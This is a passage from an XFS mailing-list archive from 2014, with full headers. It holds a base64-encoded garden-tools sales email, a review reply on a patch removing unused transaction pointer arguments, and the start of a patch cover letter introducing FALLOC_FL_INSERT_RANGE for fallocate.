p2uEWsIjze318gBO for ; Mon, 31 Mar 2014 06:17:05 -0700 (PDT) X-Barracuda-Envelope-From: yuzhan@hgnb.com.cn X-Barracuda-Apparent-Source-IP: 176.34.53.178 Received: from yuzhan$hgnb.com.cn ( [218.109.78.119] ) by ajax-webmail-wmsvr1 (Coremail) ; Mon, 31 Mar 2014 20:27:25 +0800 (CST) X-Originating-IP: [218.109.78.119] Date: Mon, 31 Mar 2014 20:27:25 +0800 (CST) From: yuzhan To: xfs Subject: Re: Garden tools supplier in China X-Priority: 3 X-ASG-Orig-Subj: Re: Garden tools supplier in China X-Mailer: Coremail Webmail Server Version SP_ntes V3.5 build 20131204(24406.5820.5783) Copyright (c) 2002-2014 www.mailtech.cn 163-hosting Content-Type: multipart/alternative; boundary="----=_Part_14689_1953007733.1396268845921" MIME-Version: 1.0 Message-ID: <3670dd92.18eb.145181bcb62.Coremail.yuzhan@hgnb.com.cn> X-CM-TRANSID:yWR4CkBJukQwXzlTiG93AA--.2785W X-CM-SenderInfo: x1x2xtnq6kw03eof0zgofq/1tbiAQpfZ03Hg2ibDAABsE X-Coremail-Antispam: 1U5529EdanIXcx71UUUUU7vcSsGvfC2KfnxnUU== X-Barracuda-Connect: ec2-176-34-53-178.ap-northeast-1.compute.amazonaws.com[176.34.53.178] X-Barracuda-Start-Time: 1396271824 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4455 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS ------=_Part_14689_1953007733.1396268845921 Content-Type: text/plain; charset=GBK Content-Transfer-Encoding: base64 RGVhciBTaXJzLAogCldlIGFyZSBhIENoaW5lc2UgbWFudWZhY3R1cmVyIHNwZWNpYWxpemVzIGlu IHByb2R1Y2luZyBwbGFzdGljIGdhcmRlbiB0b29scywgd2hpY2ggaW5jbHVkZXMgIHNub3cgc2hv dmVsLCAgZ2FyZGVuIHJha2UgYW5kIHRvb2xzIHNldCxldGMuIAoKV2UgaGF2ZSA4MCB0b25zIHRv IDgwMCB0b25zIHBsYXN0aWMgaW5qZWN0aW9uIG1hY2hpbmVzIGZvciBwcm9kdWN0aW9uLCB3ZSBh bHNvIGhhdmUgZmluZSBncmluZGluZywgcHJlY2lzaW9uIENOQyBtb2xkIG1hbnVmYWN0dXJpbmcg ZXF1aXBtZW50IHRvIG9wZW4gdGhlIG1vbGRzIGJhc2VkIG9uIHRoZSBjdXN0b21lcqGvcyBzYW1w bGUgYW5kIGRyYXdpbmcuCiAKV2UgYXJlIElTTzkwMDEtMjAwOCAgY2VydGlmaWVkIGFuZCBvdXIg cHJvZHVjdHMgaGF2ZSBiZWVuIGV4cG9ydGVkIHRvIG1hbnkgY291bnRyaWVzIGFuZCByZWdpb25z LCBpZiB5b3UgYXJlIGZyZWUsIHBscyBnbyB0byBvdXIgd2Vic2l0ZTp3d3cuY24tc25vd3Nob3Zl bC5jb20gZm9yIG1vcmUgaW5mb3JtYXRpb24gYWJvdXQgb3VyIGNvbXBhbnkgYW5kIG91ciBwcm9k dWN0cyBsaW5lLgogClNpbmNlcmVseSBob3BlIGNhbiBkbyBidXNpbmVzcyB3aXRoIHlvdS4KIApC ZXN0IHJlZ2FyZHMKIApHYW8gV2VpCiAKSHVhZ3VhbmcgUGxhc3RpYyBFbGVjdHJpYyBBcHBsaWFu Y2UgQ28uLCBMdGQuCiAKQWRkcmVzczpSb29tIDcxNiwgR3JlYXQgV2FsbCBBc3NldCBCdWlsZGlu ZywgMjMjIFlvdWRpYW4gUm9hZCwgSGFuZ3pob3UgMzEwMDA2LCBDaGluYS4gClRlbDowMDg2LTU3 MS04NzAxMTgyNwpGYXg6MDA4Ni01NzEtODcwMTI2NDkKRW1haWw6Z2Fvd2VpQGhnbmIuY29tLmNu Cnd3dy5jbi1zbm93c2hvdmVsLmNvbQogCiAKCgoKCgoKCg== ------=_Part_14689_1953007733.1396268845921 Content-Type: text/html; charset=GBK Content-Transfer-Encoding: base64 PGRpdiBzdHlsZT0iY29sb3I6IzAwMDsgZm9udC1zaXplOiAxNHB4O2ZvbnQtZmFtaWx5OiBhcmlh bDsiPjxkaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazogYnJlYWstd29yZDsgbGluZS1oZWlnaHQ6 IDI1cHg7Ij48ZGl2IHN0eWxlPSJ3b3JkLWJyZWFrOiBicmVhay13b3JkOyI+RGVhciBTaXJzLDwv ZGl2PjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7Ij48ZGl2IHN0eWxlPSJ3b3Jk LWJyZWFrOiBicmVhay13b3JkOyI+Jm5ic3A7PC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazog YnJlYWstd29yZDsiPldlIGFyZSBhJm5ic3A7Q2hpbmVzZSZuYnNwO21hbnVmYWN0dXJlciZuYnNw O3NwZWNpYWxpemVzJm5ic3A7aW4gcHJvZHVjaW5nJm5ic3A7cGxhc3RpYyZuYnNwO2dhcmRlbiZu YnNwO3Rvb2xzLCB3aGljaCBpbmNsdWRlcyZuYnNwOyZuYnNwO3Nub3cmbmJzcDtzaG92ZWwsJm5i c3A7Jm5ic3A7Z2FyZGVuJm5ic3A7cmFrZSZuYnNwO2FuZCZuYnNwO3Rvb2xzIHNldCxldGMuJm5i c3A7PGJyIHN0eWxlPSJ3b3JkLWJyZWFrOiBicmVhay13b3JkOyI+PC9kaXY+PGRpdiBzdHlsZT0i d29yZC1icmVhazogYnJlYWstd29yZDsiPldlIGhhdmUgODAgdG9ucyZuYnNwO3RvJm5ic3A7ODAw IHRvbnMmbmJzcDtwbGFzdGljJm5ic3A7aW5qZWN0aW9uJm5ic3A7bWFjaGluZXMgZm9yIHByb2R1 Y3Rpb24sJm5ic3A7d2UmbmJzcDthbHNvJm5ic3A7aGF2ZSZuYnNwO2ZpbmUmbmJzcDtncmluZGlu ZywmbmJzcDtwcmVjaXNpb24mbmJzcDtDTkMmbmJzcDttb2xkJm5ic3A7bWFudWZhY3R1cmluZyZu YnNwO2VxdWlwbWVudCZuYnNwO3RvJm5ic3A7b3BlbiZuYnNwO3RoZSZuYnNwO21vbGRzJm5ic3A7 YmFzZWQmbmJzcDtvbiZuYnNwO3RoZSZuYnNwO2N1c3RvbWVyoa9zJm5ic3A7c2FtcGxlIGFuZCZu YnNwO2RyYXdpbmcuPC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPiZu YnNwOzwvZGl2PjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7Ij5XZSZuYnNwO2Fy ZSBJU085MDAxLTIwMDgmbmJzcDsgY2VydGlmaWVkIGFuZCBvdXImbmJzcDtwcm9kdWN0cyZuYnNw O2hhdmUmbmJzcDtiZWVuJm5ic3A7ZXhwb3J0ZWQmbmJzcDt0byZuYnNwO21hbnkmbmJzcDtjb3Vu dHJpZXMmbmJzcDthbmQmbmJzcDtyZWdpb25zLCZuYnNwO2lmIHlvdSBhcmUgZnJlZSwgcGxzIGdv IHRvIG91ciB3ZWJzaXRlOnd3dy5jbi1zbm93c2hvdmVsLmNvbSBmb3IgbW9yZSBpbmZvcm1hdGlv biBhYm91dCBvdXIgY29tcGFueSBhbmQgb3VyIHByb2R1Y3RzIGxpbmUuPC9kaXY+PGRpdiBzdHls ZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPiZuYnNwOzwvZGl2PjxkaXYgc3R5bGU9IndvcmQt YnJlYWs6IGJyZWFrLXdvcmQ7Ij5TaW5jZXJlbHkgaG9wZSBjYW4gZG8gYnVzaW5lc3Mgd2l0aCB5 b3UuPC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPiZuYnNwOzwvZGl2 PjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7Ij5CZXN0IHJlZ2FyZHM8L2Rpdj48 ZGl2IHN0eWxlPSJ3b3JkLWJyZWFrOiBicmVhay13b3JkOyI+Jm5ic3A7PC9kaXY+PGRpdiBzdHls ZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPkdhbyBXZWk8L2Rpdj48ZGl2IHN0eWxlPSJ3b3Jk LWJyZWFrOiBicmVhay13b3JkOyI+Jm5ic3A7PC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazog YnJlYWstd29yZDsiPjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7Ij5IdWFndWFu ZyZuYnNwO1BsYXN0aWMmbmJzcDtFbGVjdHJpYyZuYnNwO0FwcGxpYW5jZSZuYnNwO0NvLiwmbmJz cDtMdGQuPC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPiZuYnNwOzwv ZGl2PjwvZGl2PjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7Ij48ZGl2IHN0eWxl PSJ3b3JkLWJyZWFrOiBicmVhay13b3JkOyI+QWRkcmVzczpSb29tJm5ic3A7NzE2LCZuYnNwO0dy ZWF0Jm5ic3A7V2FsbCZuYnNwO0Fzc2V0Jm5ic3A7QnVpbGRpbmcsJm5ic3A7MjMjJm5ic3A7WW91 ZGlhbiZuYnNwO1JvYWQsJm5ic3A7SGFuZ3pob3UmbmJzcDszMTAwMDYsJm5ic3A7Q2hpbmEuJm5i c3A7PC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPlRlbDowMDg2LTU3 MS04NzAxMTgyNzwvZGl2PjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7Ij5GYXg6 MDA4Ni01NzEtODcwMTI2NDk8L2Rpdj48ZGl2IHN0eWxlPSJ3b3JkLWJyZWFrOiBicmVhay13b3Jk OyI+RW1haWw6PGEgaHJlZj0ibWFpbHRvOmdhb3dlaUBoZ25iLmNvbS5jbiIgc3R5bGU9IndvcmQt YnJlYWs6IGJyZWFrLXdvcmQ7Ij5nYW93ZWlAaGduYi5jb20uY248L2E+PC9kaXY+PGRpdiBzdHls ZT0id29yZC1icmVhazogYnJlYWstd29yZDsiPjxhIGhyZWY9Imh0dHA6Ly93d3cuY24tc25vd3No b3ZlbC5jb20vIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9IndvcmQtYnJlYWs6IGJyZWFrLXdvcmQ7 Ij53d3cuY24tc25vd3Nob3ZlbC5jb208L2E+PC9kaXY+PGRpdiBzdHlsZT0id29yZC1icmVhazog YnJlYWstd29yZDsiPiZuYnNwOzwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9IndvcmQtYnJlYWs6IGJy ZWFrLXdvcmQ7Ij4mbmJzcDs8L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJ3b3JkLWJyZWFr OiBicmVhay13b3JkOyBsaW5lLWhlaWdodDogMjVweDsiPjxiciBzdHlsZT0id29yZC1icmVhazog YnJlYWstd29yZDsiPjwvZGl2PjxiciBjbGFzcz0iQXBwbGUtaW50ZXJjaGFuZ2UtbmV3bGluZSI+ PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PC9kaXY+ ------=_Part_14689_1953007733.1396268845921-- From sandeen@sandeen.net Mon Mar 31 09:25:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=MIME_QP_LONG_LINE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DDD2629E02 for ; Mon, 31 Mar 2014 09:25:07 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9B385304051 for ; Mon, 31 Mar 2014 07:25:03 -0700 (PDT) X-ASG-Debug-ID: 1396275901-04bdf05dacb8c220001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 8jD26g7liFpIcw4a for ; Mon, 31 Mar 2014 07:25:01 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from [10.20.7.106] (unknown [187.157.176.2]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 61D1963C3B03; Mon, 31 Mar 2014 09:25:00 -0500 (CDT) References: <53362976.3060101@sandeen.net> <20140331130932.GA63718@bfoster.bfoster> Mime-Version: 1.0 (1.0) In-Reply-To: <20140331130932.GA63718@bfoster.bfoster> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <9526F4A7-968E-4BE8-A0FD-9D03ABE0D3CA@sandeen.net> Cc: xfs-oss X-Mailer: iPhone Mail (11D169) From: Eric Sandeen Subject: Re: [PATCH] xfs: remove unused transaction pointer args Date: Mon, 31 Mar 2014 08:24:53 -0600 X-ASG-Orig-Subj: Re: [PATCH] xfs: remove unused transaction pointer args To: Brian Foster X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1396275901 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4456 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars > On Mar 31, 2014, at 7:09 AM, Brian Foster wrote: >=20 >> On Fri, Mar 28, 2014 at 09:01:26PM -0500, Eric Sandeen wrote: >> Several functions pass a transaction pointer around, >> but it's never used in those callchains. Remove it. >>=20 >> Signed-off-by: Eric Sandeen >> --- >>=20 >> diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c >> index 152543c..b308097 100644 >> --- a/fs/xfs/xfs_bmap.c >> +++ b/fs/xfs/xfs_bmap.c >> @@ -1675,7 +1675,6 @@ xfs_bmap_isaeof( >> */ >> int >> xfs_bmap_last_offset( >> - struct xfs_trans *tp, >> struct xfs_inode *ip, >> xfs_fileoff_t *last_block, >> int whichfork) >=20 > Seems Ok to me, but it looks like you could also kill the tp param for > xfs_bmap_last_extent(). I don't see any callers that don't pass NULL... >=20 Ok thanks will resend. Actually have a big batch of unused param removals f= rom some mindless work on the plane... Eric > Brian >=20 >> diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h >> index 33b41f3..52ad38d 100644 >> --- a/fs/xfs/xfs_bmap.h >> +++ b/fs/xfs/xfs_bmap.h >> @@ -146,8 +146,8 @@ int xfs_bmap_first_unused(struct xfs_trans *tp, st= ruct xfs_inode *ip, >> xfs_extlen_t len, xfs_fileoff_t *unused, int whichfork); >> int xfs_bmap_last_before(struct xfs_trans *tp, struct xfs_inode *ip, >> xfs_fileoff_t *last_block, int whichfork); >> -int xfs_bmap_last_offset(struct xfs_trans *tp, struct xfs_inode *ip, >> - xfs_fileoff_t *unused, int whichfork); >> +int xfs_bmap_last_offset(struct xfs_inode *ip, xfs_fileoff_t *unused,= >> + int whichfork); >> int xfs_bmap_one_block(struct xfs_inode *ip, int whichfork); >> int xfs_bmap_read_extents(struct xfs_trans *tp, struct xfs_inode *ip, >> int whichfork); >> diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c >> index ce16ef0..7575a3b 100644 >> --- a/fs/xfs/xfs_dir2.c >> +++ b/fs/xfs/xfs_dir2.c >> @@ -230,11 +230,11 @@ xfs_dir_createname( >>=20 >> if (dp->i_d.di_format =3D=3D XFS_DINODE_FMT_LOCAL) >> rval =3D xfs_dir2_sf_addname(&args); >> - else if ((rval =3D xfs_dir2_isblock(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isblock(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_block_addname(&args); >> - else if ((rval =3D xfs_dir2_isleaf(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isleaf(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_leaf_addname(&args); >> @@ -303,11 +303,11 @@ xfs_dir_lookup( >>=20 >> if (dp->i_d.di_format =3D=3D XFS_DINODE_FMT_LOCAL) >> rval =3D xfs_dir2_sf_lookup(&args); >> - else if ((rval =3D xfs_dir2_isblock(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isblock(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_block_lookup(&args); >> - else if ((rval =3D xfs_dir2_isleaf(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isleaf(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_leaf_lookup(&args); >> @@ -360,11 +360,11 @@ xfs_dir_removename( >>=20 >> if (dp->i_d.di_format =3D=3D XFS_DINODE_FMT_LOCAL) >> rval =3D xfs_dir2_sf_removename(&args); >> - else if ((rval =3D xfs_dir2_isblock(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isblock(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_block_removename(&args); >> - else if ((rval =3D xfs_dir2_isleaf(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isleaf(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_leaf_removename(&args); >> @@ -410,11 +410,11 @@ xfs_dir_replace( >>=20 >> if (dp->i_d.di_format =3D=3D XFS_DINODE_FMT_LOCAL) >> rval =3D xfs_dir2_sf_replace(&args); >> - else if ((rval =3D xfs_dir2_isblock(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isblock(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_block_replace(&args); >> - else if ((rval =3D xfs_dir2_isleaf(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isleaf(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_leaf_replace(&args); >> @@ -456,11 +456,11 @@ xfs_dir_canenter( >>=20 >> if (dp->i_d.di_format =3D=3D XFS_DINODE_FMT_LOCAL) >> rval =3D xfs_dir2_sf_addname(&args); >> - else if ((rval =3D xfs_dir2_isblock(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isblock(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_block_addname(&args); >> - else if ((rval =3D xfs_dir2_isleaf(tp, dp, &v))) >> + else if ((rval =3D xfs_dir2_isleaf(dp, &v))) >> return rval; >> else if (v) >> rval =3D xfs_dir2_leaf_addname(&args); >> @@ -525,7 +525,6 @@ xfs_dir2_grow_inode( >> */ >> int >> xfs_dir2_isblock( >> - xfs_trans_t *tp, >> xfs_inode_t *dp, >> int *vp) /* out: 1 is block, 0 is not block */ >> { >> @@ -534,7 +533,7 @@ xfs_dir2_isblock( >> int rval; >>=20 >> mp =3D dp->i_mount; >> - if ((rval =3D xfs_bmap_last_offset(tp, dp, &last, XFS_DATA_FORK))) >> + if ((rval =3D xfs_bmap_last_offset(dp, &last, XFS_DATA_FORK))) >> return rval; >> rval =3D XFS_FSB_TO_B(mp, last) =3D=3D mp->m_dirblksize; >> ASSERT(rval =3D=3D 0 || dp->i_d.di_size =3D=3D mp->m_dirblksize); >> @@ -547,7 +546,6 @@ xfs_dir2_isblock( >> */ >> int >> xfs_dir2_isleaf( >> - xfs_trans_t *tp, >> xfs_inode_t *dp, >> int *vp) /* out: 1 is leaf, 0 is not leaf */ >> { >> @@ -556,7 +554,7 @@ xfs_dir2_isleaf( >> int rval; >>=20 >> mp =3D dp->i_mount; >> - if ((rval =3D xfs_bmap_last_offset(tp, dp, &last, XFS_DATA_FORK))) >> + if ((rval =3D xfs_bmap_last_offset(dp, &last, XFS_DATA_FORK))) >> return rval; >> *vp =3D last =3D=3D mp->m_dirleafblk + (1 << mp->m_sb.sb_dirblklog); >> return 0; >> diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h >> index cec70e0..64a6b19 100644 >> --- a/fs/xfs/xfs_dir2.h >> +++ b/fs/xfs/xfs_dir2.h >> @@ -142,8 +142,8 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *a= rgs); >> /* >> * Interface routines used by userspace utilities >> */ >> -extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, i= nt *r); >> -extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, i= nt *r); >> +extern int xfs_dir2_isblock(struct xfs_inode *dp, int *r); >> +extern int xfs_dir2_isleaf(struct xfs_inode *dp, int *r); >> extern int xfs_dir2_shrink_inode(struct xfs_da_args *args, xfs_dir2_db_t d= b, >> struct xfs_buf *bp); >>=20 >> diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c >> index ae47ec6..f8170bc 100644 >> --- a/fs/xfs/xfs_dir2_leaf.c >> +++ b/fs/xfs/xfs_dir2_leaf.c >> @@ -1707,7 +1707,7 @@ xfs_dir2_node_to_leaf( >> /* >> * Get the last offset in the file. >> */ >> - if ((error =3D xfs_bmap_last_offset(tp, dp, &fo, XFS_DATA_FORK))) { >> + if ((error =3D xfs_bmap_last_offset(dp, &fo, XFS_DATA_FORK))) { >> return error; >> } >> fo -=3D mp->m_dirblkfsbs; >> diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c >> index 48c7d18..807946d 100644 >> --- a/fs/xfs/xfs_dir2_node.c >> +++ b/fs/xfs/xfs_dir2_node.c >> @@ -1726,7 +1726,7 @@ xfs_dir2_node_addname_int( >> if (dbno =3D=3D -1) { >> xfs_fileoff_t fo; /* freespace block number */ >>=20 >> - if ((error =3D xfs_bmap_last_offset(tp, dp, &fo, XFS_DATA_FORK))= ) >> + if ((error =3D xfs_bmap_last_offset(dp, &fo, XFS_DATA_FORK))) >> return error; >> lastfbno =3D xfs_dir2_da_to_db(mp, (xfs_dablk_t)fo); >> fbno =3D ifbno; >> diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c >> index aead369..a18000f 100644 >> --- a/fs/xfs/xfs_dir2_readdir.c >> +++ b/fs/xfs/xfs_dir2_readdir.c >> @@ -687,7 +687,7 @@ xfs_readdir( >> lock_mode =3D xfs_ilock_data_map_shared(dp); >> if (dp->i_d.di_format =3D=3D XFS_DINODE_FMT_LOCAL) >> rval =3D xfs_dir2_sf_getdents(dp, ctx); >> - else if ((rval =3D xfs_dir2_isblock(NULL, dp, &v))) >> + else if ((rval =3D xfs_dir2_isblock(dp, &v))) >> ; >> else if (v) >> rval =3D xfs_dir2_block_getdents(dp, ctx); >> diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c >> index 22d1cbe..2b2739c 100644 >> --- a/fs/xfs/xfs_iomap.c >> +++ b/fs/xfs/xfs_iomap.c >> @@ -734,7 +734,7 @@ xfs_iomap_write_allocate( >> */ >> nimaps =3D 1; >> end_fsb =3D XFS_B_TO_FSB(mp, XFS_ISIZE(ip)); >> - error =3D xfs_bmap_last_offset(NULL, ip, &last_block, >> + error =3D xfs_bmap_last_offset(ip, &last_block, >> XFS_DATA_FORK); >> if (error) >> goto trans_cancel; >>=20 >>=20 >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs >=20 From linkinjeon@gmail.com Mon Mar 31 09:53:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8262429E0A for ; Mon, 31 Mar 2014 09:53:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 189C1304032 for ; Mon, 31 Mar 2014 07:53:54 -0700 (PDT) X-ASG-Debug-ID: 1396277629-04cbb054b897c900001-NocioJ Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com [209.85.192.182]) by cuda.sgi.com with ESMTP id BCxaafnJIfNUzBOy (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 07:53:50 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.182 Received: by mail-pd0-f182.google.com with SMTP id y10so8095250pdj.13 for ; Mon, 31 Mar 2014 07:53:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=dHX7e7k6uGzxNPet4eCWb6UNrA0uKns2EXxwrmZWBhw=; b=n/fY6P2csBz6OSxM5nU4Foc7y+KmJuYRbbTOfLr3KpFXBtV7Vcd7KhnoNeLwL+JqBi xlKPbIoaJ9L5uHaxZHV9hLrih8MfvU32GRT6/6BhJ4WFz/x9oCIyaCU1Jq4xDnBUTNLI lVFcoluFs4iOgy1p8/dd5pV8lJbQNVB1Y5bvn0N/B+vCYbiMUgx/vkn+hq5uGHlbRTUK o9vyuzkd71vErsmNpSrw5NjS3FWEBbtZcOF7pu2VndE7ZDXtF2Y3eATsbjXCPKUGT1fT SEipSMiG9O/SLS54lX+CEV01QndvSeswv0HtzgbD4c2aRAycUFnRVUJo7QwOwXAdnGFx x8jQ== X-Barracuda-BBL-IP: nil X-Received: by 10.66.25.203 with SMTP id e11mr25593124pag.76.1396277629349; Mon, 31 Mar 2014 07:53:49 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.244]) by mx.google.com with ESMTPSA id g6sm41730024pat.2.2014.03.31.07.53.46 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 31 Mar 2014 07:53:48 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.244 To: viro@zeniv.linux.org.uk, david@fromorbit.com, hch@infradead.org, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon Subject: [PATCH 0/3] fs: Introduce FALLOC_FL_INSERT_RANGE for fallocate Date: Mon, 31 Mar 2014 23:53:31 +0900 X-ASG-Orig-Subj: [PATCH 0/3] fs: Introduce FALLOC_FL_INSERT_RANGE for fallocate Message-Id: <1396277611-10759-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f182.google.com[209.85.192.182] X-Barracuda-Start-Time: 1396277629 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon FALLOC_FL_INSERT_RANGE was mentioned as the opposite command of collapse range from discussion between Hugh Dickins and Dave Chinner. In continuation of the work of making the process of non linear editing of media files faster, we introduce here the new flag FALLOC_FL_INSERT_RANGE for fallocate. This flag will work opposite to the newly added FALLOC_FL_COLLAPSE_RANGE flag. As such, specifying FALLOC_FL_INSERT_RANGE flag will insert zeroed-out space in between the file within the range specified by offset and len. User can write new data in this space. e.g. ads. Like collapse range, currently we have the limitation that offset and len should be block size aligned for both XFS and Ext4. The semantics of the flag are : 1) It allocates new zeroed out on disk space of len bytes starting at offset byte without overwriting any existing data. All the data blocks from offset to EOF are shifted towards right to make space for inserting new blocks 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Insert range does not work for the case when offset is overlapping/beyond i_size. If the user wants to allocate space at the end of file they are advised to use either ftruncate(2) or fallocate(2) with mode 0. 5) It increses the size of file by 